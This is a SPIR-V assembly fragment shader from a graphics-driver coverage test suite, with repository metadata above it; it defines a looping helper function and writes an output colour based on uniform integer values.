coverage/IN_CTS/0426-COVERAGE-nir-opt-if-181/work/variant/1_spirv_asm/shader.frag.asm
asuonpaa/ShaderTests
6a3672040dcfa0d164d313224446496d1775a15e
[ "Apache-2.0" ]
null
null
null
coverage/IN_CTS/0426-COVERAGE-nir-opt-if-181/work/variant/1_spirv_asm/shader.frag.asm
asuonpaa/ShaderTests
6a3672040dcfa0d164d313224446496d1775a15e
[ "Apache-2.0" ]
47
2021-03-11T07:42:51.000Z
2022-03-14T06:30:14.000Z
coverage/IN_CTS/0426-COVERAGE-nir-opt-if-181/work/variant/1_spirv_asm/shader.frag.asm
asuonpaa/ShaderTests
6a3672040dcfa0d164d313224446496d1775a15e
[ "Apache-2.0" ]
4
2021-03-09T13:37:19.000Z
2022-02-25T07:32:11.000Z
; SPIR-V ; Version: 1.0 ; Generator: Khronos Glslang Reference Front End; 10 ; Bound: 75 ; Schema: 0 OpCapability Shader %1 = OpExtInstImport "GLSL.std.450" OpMemoryModel Logical GLSL450 OpEntryPoint Fragment %4 "main" %56 OpExecutionMode %4 OriginUpperLeft OpSource ESSL 320 OpName %4 "main" OpName %8 "func(" OpName %11 "i" OpName %15 "buf0" OpMemberName %15 0 "_GLF_uniform_int_values" OpName %17 "" OpName %56 "_GLF_color" OpDecorate %14 ArrayStride 16 OpMemberDecorate %15 0 Offset 0 OpDecorate %15 Block OpDecorate %17 DescriptorSet 0 OpDecorate %17 Binding 0 OpDecorate %56 Location 0 %2 = OpTypeVoid %3 = OpTypeFunction %2 %6 = OpTypeInt 32 1 %7 = OpTypeFunction %6 %10 = OpTypePointer Function %6 %12 = OpTypeInt 32 0 %13 = OpConstant %12 3 %14 = OpTypeArray %6 %13 %15 = OpTypeStruct %14 %16 = OpTypePointer Uniform %15 %17 = OpVariable %16 Uniform %18 = OpConstant %6 0 %19 = OpTypePointer Uniform %6 %27 = OpConstant %6 1 %29 = OpTypeBool %30 = OpConstantTrue %29 %35 = OpConstant %6 2 %53 = OpTypeFloat 32 %54 = OpTypeVector %53 4 %55 = OpTypePointer Output %54 %56 = OpVariable %55 Output %4 = OpFunction %2 None %3 %5 = OpLabel %47 = OpFunctionCall %6 %8 %48 = OpAccessChain %19 %17 %18 %35 %49 = OpLoad %6 %48 %50 = OpIEqual %29 %47 %49 OpSelectionMerge %52 None OpBranchConditional %50 %51 %70 %51 = OpLabel %57 = OpAccessChain %19 %17 %18 %35 %58 = OpLoad %6 %57 %59 = OpConvertSToF %53 %58 %60 = OpAccessChain %19 %17 %18 %18 %61 = OpLoad %6 %60 %62 = OpConvertSToF %53 %61 %63 = OpAccessChain %19 %17 %18 %18 %64 = OpLoad %6 %63 %65 = OpConvertSToF %53 %64 %66 = OpAccessChain %19 %17 %18 %35 %67 = OpLoad %6 %66 %68 = OpConvertSToF %53 %67 %69 = OpCompositeConstruct %54 %59 %62 %65 %68 OpStore %56 %69 OpBranch %52 %70 = OpLabel %71 = OpAccessChain %19 %17 %18 %18 %72 = OpLoad %6 %71 %73 = OpConvertSToF %53 %72 %74 = OpCompositeConstruct %54 %73 %73 %73 %73 OpStore %56 %74 OpBranch %52 %52 = OpLabel OpReturn OpFunctionEnd %8 = OpFunction %6 None %7 %9 = OpLabel %11 = OpVariable %10 Function %20 = OpAccessChain %19 %17 %18 %18 %21 = OpLoad %6 %20 OpStore %11 %21 OpBranch %22 %22 = OpLabel OpLoopMerge %24 %25 None OpBranch %23 %23 = OpLabel %26 = OpLoad %6 %11 %28 = OpIAdd %6 %26 %27 OpStore %11 %28 OpSelectionMerge %32 None OpBranchConditional %30 %31 %32 %31 = OpLabel OpSelectionMerge %34 None OpBranchConditional %30 %33 %34 %33 = OpLabel %36 = OpAccessChain %19 %17 %18 %35 %37 = OpLoad %6 %36 OpReturnValue %37 %34 = OpLabel OpBranch %32 %32 = OpLabel OpBranch %25 %25 = OpLabel %39 = OpLoad %6 %11 %40 = OpAccessChain %19 %17 %18 %27 %41 = OpLoad %6 %40 %42 = OpSLessThan %29 %39 %41 OpBranchConditional %42 %22 %24 %24 = OpLabel %43 = OpAccessChain %19 %17 %18 %18 %44 = OpLoad %6 %43 OpReturnValue %44 OpFunctionEnd
34.050847
59
0.478596